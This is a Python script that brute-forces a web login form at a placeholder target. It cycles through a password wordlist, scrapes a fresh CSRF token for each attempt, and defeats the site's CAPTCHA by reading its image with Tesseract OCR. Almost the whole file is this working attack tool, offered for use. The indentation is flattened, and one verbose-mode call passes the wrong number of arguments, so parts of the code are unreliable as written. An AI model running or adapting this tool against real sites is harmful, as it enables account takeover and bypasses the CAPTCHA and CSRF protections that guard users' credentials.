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captcha_csrf_brute.py
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captcha_csrf_brute.py
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import requests
import sys
from bs4 import BeautifulSoup
import argparse
from io import BytesIO
from urllib.parse import quote_plus as qp
import pytesseract
from PIL import Image
from requests.structures import CaseInsensitiveDict
import re
import json
pytesseract.pytesseract.tesseract_cmd = r'' #local tesseract path here
""" def rescale(im):
# Assume 72 DPI if we don't know, as this is
# one of the lowest common DPI values.
try:
dpi = im.info['dpi'][0]
except KeyError:
dpi = 72
target_dpi = 300
factor = target_dpi / dpi
return ImageOps.scale(im, factor) """
def getToken( request):
page = request.get("<TARGET>/login")
html_content = page.text
soup = BeautifulSoup(html_content, features="lxml")
token = soup.find('input', {"name":"_token"}).get("value")
return token
def get_captcha_code(request):
code = ""
while True :
firs = request.get(f"<TARGET>/captcha", verify=False) #captcha path
data = json.loads(firs.content)
captcha_url = data.get('captcha', '')
match = re.search(r'<img src="([^"]+)"', captcha_url)
captcha_image_url = match.group(1)
r = request.get(captcha_image_url, verify=False)
img = Image.open(BytesIO(r.content))
# make photo b&w
img=img.resize((700,300)).convert('L')
thre = img.point(lambda p: p > 180 and 255)
#thre.show()
code = pytesseract.image_to_string(thre).strip()
if len(code) == 5:
print(code)
break
else:
print(code)
return code
def connect(username, password, captcha, token, message, request):
login_info = {
"email": username,
"password": password,
"captcha": captcha,
"_token": token
}
login_request = request.post("<TARGET>/login", login_info)
if message not in login_request.text:
return True
else:
return False
def tryLogin(username, password, url, captcha, message, request):
print("[+] Trying "+username+":"+password+" combination")
print("[+] Retrieving CSRF token to submit the login form")
token = getToken( request)
print("[+] Login token is : {0}".format(token))
found = connect(username, password, captcha, token, message, request)
if (not found):
print("[-] Wrong credentials")
return False
else:
print("[+] Logged in sucessfully")
return True
def printSuccess(username, password):
print("-------------------------------------------------------------")
print()
print("[*] Credentials:\t"+username+":"+password)
print()
def main():
parser = argparse.ArgumentParser()
user_group = parser.add_mutually_exclusive_group(required=True)
user_group.add_argument('-l', '--username', help='username for bruteforce login')
#user_group.add_argument('-L', '--usernames', help='usernames worldlist for bruteforce login')
pass_group = parser.add_mutually_exclusive_group(required=True)
pass_group.add_argument('-P', '--passwords', help='passwords wordlist ')
# error message
parser.add_argument('-m', '--message', help="Giriş yapamayayınca dönen mesaj:", required=True)
# verbosity
parser.add_argument('-v', '--verbosity', action='count', help='verbosity level')
args = parser.parse_args()
with open(args.passwords, 'rb') as passfile:
for passwd in passfile.readlines():
reqSess = requests.session()
asa = get_captcha_code(request=reqSess)
if (args.verbosity != None):
found = tryLogin(args.username, passwd.decode().strip(), asa, args.message, reqSess)
print()
else:
token = getToken( reqSess)
found = connect(args.username, passwd.decode().strip(), asa, token, args.message, reqSess)
if (found):
printSuccess(args.username, passwd.decode().strip())
sys.exit(1)
if __name__ == '__main__':
main()